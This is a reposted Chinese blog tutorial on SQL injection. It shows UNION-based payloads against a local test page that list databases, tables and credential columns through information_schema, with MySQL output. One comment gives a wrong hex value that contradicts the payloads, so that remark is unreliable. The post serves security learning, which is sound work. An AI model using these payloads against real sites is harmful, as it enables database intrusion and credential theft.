码迷,mamicode.com
首页 > 数据库 > 详细

sql注入学习小结

时间:2016-11-14 00:39:56      阅读:254      评论:0      收藏:0      [点我收藏+]

标签:mat   bsp   security   php   .com   数据库   渗透   nio   tar   

/*

转载请注明出处,By:珍惜少年时

小知识,只是放在博客吃饭时无聊看看,大牛勿喷。

*/

珍惜少年时博客,专注网络安全 web渗透测试


00x1爆所有库:

mysql> select schema_name from information_schema.schemata;
+--------------------+
| schema_name        |
+--------------------+
| information_schema |
| challenges         |
| dvwa               |
| mysql              |
| performance_schema |
| phpcmsv9           |
| security           |
| sqlinject          |
| test               |
| test_sqlinjection  |
+--------------------+
10 rows in set (0.00 sec)

#该命令等价于show databases;
#所以sql语句为:
http://127.0.0.1/sqlinjection.php?id=-5 union select 1,2,group_concat(schema_name) from information_schema.schemata--


00x2爆所有表:

mysql> select group_concat(table_name) from information_schema.tables where table_schema=0x73716C696E6A656374;
+--------------------------+
| group_concat(table_name) |
+--------------------------+
| admin,user,user_a        |
+--------------------------+
1 row in set (0.00 sec)

#注:
0x91916c696E6a656374为sqlinject库的16进制 
#该命令等价于show tables;当然了,是在选择了数据库的情况下,也就是where哪里使用hex选择了的。
#所以sql语句为:
http://127.0.0.1/sqlinjection.php?id=-5 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x73716C696E6A656374--


00x3爆所有列:

mysql> select group_concat(column_name) from information_schema.columns where table_schema=0x73716C696E6A656374;
+----------------------------------------------------------------+
| group_concat(column_name)                                      |
+----------------------------------------------------------------+
| id,username,password,id,username,password,id,username,password |
+----------------------------------------------------------------+
1 row in set (0.03 sec)

故语句为:
http://127.0.0.1/sqlinjection.php?id=-5 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=0x73716C696E6A656374--

 

sql注入学习小结

标签:mat   bsp   security   php   .com   数据库   渗透   nio   tar   

原文地址:http://www.cnblogs.com/xishaonian/p/6059998.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!